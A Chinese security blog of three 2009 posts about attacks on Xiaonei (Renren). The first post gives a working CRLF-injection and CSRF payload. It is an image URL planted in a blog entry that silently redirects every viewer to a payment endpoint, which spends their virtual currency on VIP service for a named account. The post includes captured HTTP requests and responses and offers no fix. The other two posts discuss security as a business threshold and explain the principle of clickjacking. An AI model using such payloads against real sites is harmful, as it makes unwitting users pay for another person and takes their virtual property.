Tuesday, April 28, 2009

利用CRLF漏洞和CSRF漏洞同时进行web攻击

XSS 和 CSRF,其难以难以检测的特点加上和其他攻击手段的结合,给web安全防护笼罩上一层阴影。XSS 和 CSRF攻击越来越流行,也使得其他较弱的传统攻击手段浴火重生。

例子:利用CRLF和CSRF漏洞,在校内的日志中嵌入代码,利用看到页面的同学的校内豆给自己购买紫豆会员服务。(以下部分地方编码做过修改,不能直接利用。)

备注:只利用CSRF就可以完成本次利用,加入CRLF时为了说明旧漏洞在新攻击方法下的死灰复燃。

名词解释:
CRLF -- Carriage-Return Line-Feed 回车换行
HTTP Header CRLF Injection  -- HTTP使用CRLF来表示每一行的结束,用户通过CRLF注入自定义HTTP header,导致用户可以不经过应用层直接与Server对话。(HTTP header的定义就是基于这样的"Key: Value"的结构,用CRLF命令表示一行的结尾。)
CSRF --(Cross-site request forgery跨站请求伪造,也被称成为“one click attack”或者session riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。

漏洞:
1、http://blog.xiaonei.com/NewEntry.do日志编写时,对插入图片中对输入过滤不全,可以插入非图片地址
2、http://i.xiaonei.com/click.action后面的url参数存在CRLF漏洞
3、http://i.xiaonei.com/pay_checkXnb.action默认接受post提交的参数,但是经过测试,对get请求也来这不拒。

利用方法:

编写一篇新日志,内容中插入图片,地址填写
http://i.xiaonei.com/click.action?from=40042&url=%0alocation%3Ahttp://i.xiaonei.com//pay_checkXnb.action?months=1&payforfriend=true&fid=52434238

备注:还可以通过巧妙的构造手段,将网页重新定向导其他站点的页面。

效果:
日志访问者会自动使用自己的校内豆为id为52434238的用户购买紫豆服务。

原理:

访问者看到日志时,浏览器解析图片时会去请求http://i.xiaonei.com/click.action?from=40042&url=%0alocation%3Ahttp://i.xiaonei.com//pay_checkXnb.action?months=1&payforfriend=true&fid=52434238地址,这个地址中被插入HTTP协议字段location,将页面重新定向到紫豆支付页面,从而实现不知情的情况下为别人买单的效果。

查看日志时候抓包结果:

GET /click.action?from=40042&url=%0alocation%3Ahttp://i.xiaonei.com//pay_checkXnb.action?months=1&payforfriend=true&fid=52434238 HTTP/1.1

Host: i.xiaonei.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10

Accept: image/png,image/*;q=0.8,*/*;q=0.5

Accept-Language: zh-cn,en-us;q=0.7,en;q=0.3

Accept-Encoding: gzip,deflate

Accept-Charset: gb2312,utf-8;q=0.7,*;q=0.7

Keep-Alive: 300

Connection: keep-alive

Referer: http://blog.xiaonei.com/GetEntry.do?id=382901732&owner=52434238

Cookie: ************



HTTP/1.1 302 Found

Server: nginx/0.6.32

Date: Tue, 28 Apr 2009 10:20:06 GMT

Connection: keep-alive

Expires: Thu, 01 Jan 1970 00:00:00 GMT

Location: http://i.xiaonei.com

location: http://i.xiaonei.com//pay_checkXnb.action?months=1&payforfriend=true&fid=52434238

Set-Cookie: vip=1; domain=.xiaonei.com; path=/

Set-Cookie: *****

Content-Length: 118



The URL has moved here
GET //pay_checkXnb.action?months=1&payforfriend=true&fid=52434238 HTTP/1.1

Host: i.xiaonei.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-cn,en-us;q=0.7,en;q=0.3

Accept-Encoding: gzip,deflate

Accept-Charset: gb2312,utf-8;q=0.7,*;q=0.7

Keep-Alive: 300

Connection: keep-alive

Referer: http://blog.xiaonei.com/GetEntry.do?id=382901732&owner=52434238

Cookie: *******



HTTP/1.1 200 OK

Server: nginx/0.6.32

Date: Tue, 28 Apr 2009 10:20:06 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

Expires: Thu, 01 Jan 1970 00:00:00 GMT

Set-Cookie: vip=1; domain=.xiaonei.com; path=/

Content-Encoding: gzip



a

..........

3a

.V*J-..)Q.JK.)N.Q...+.(V.2.Q*H.L./J+.L.KA.O..J........;...

0



修补方式:

未提供。

Tags: 安全, web, 实践


Tuesday, April 14, 2009

安全将成为互联网业务的一个准入门槛?

账户安全、虚拟财产安全将会是未来失败互联网公司永远的痛。
两年前校内网出现XSS蠕虫病毒,爆发前我给校内的人员发过邮件,未得到重视。后来短短一天时间蠕虫感染60多万用户。这次只是技术炫耀,并无实质性的破坏。
昨天又在校内发现盗取cookies的代码,只一小时便盗取来几千用户的cookies。
前段时间有人在黑市看到某黑客在贩卖校内的全部用户数据。
一旦绑定了虚拟财产交易,不久会有一次更大规模的激增。SNS帐户体系的问题,会直接导致产品价值链的崩溃,用户粘性的直线下降。
互联网公司,如果不注意安全,究竟能走多远?

地下产业链在和前期交手的公司对抗几年后,明显成熟。后续接入对抗的相关公司,产品和业务安全人员,着实要花上很多金钱和时间,才能形成一个有效博弈的平台和团队。

相信安全将来也是互联网应用的一个准入门槛。

Tags: 安全


Tuesday, April 14, 2009

Clickjacking链接劫持的基本方法原理

Clickjacking,链接劫持,其实不只是劫持用户的链接,只要用户访问这个页面,不点击链接,也能被劫持。

劫持的基本原理是:用透明的遮罩层置于正常页面上方(用css的z-index值控制),这样使得用户无法发现这个透明的层。
用户打开一个被控制的页面,不见得都会点链接,但是很多用户看网页的时候习惯性的在空白处点,这些空白的地方完全可以被劫持,一个页面上任何地方地方都可以被放上一个透明的层引导点击或者其他用户行为,从而完成用户本不想要的操作,进而未完成攻击。。

攻击例如:
通过让用户点击一个看不到的Flash,强制启动视频,让管理员执行一些删除添加等特权操作,让普通用户执行其他恶意操作。

Tags: 安全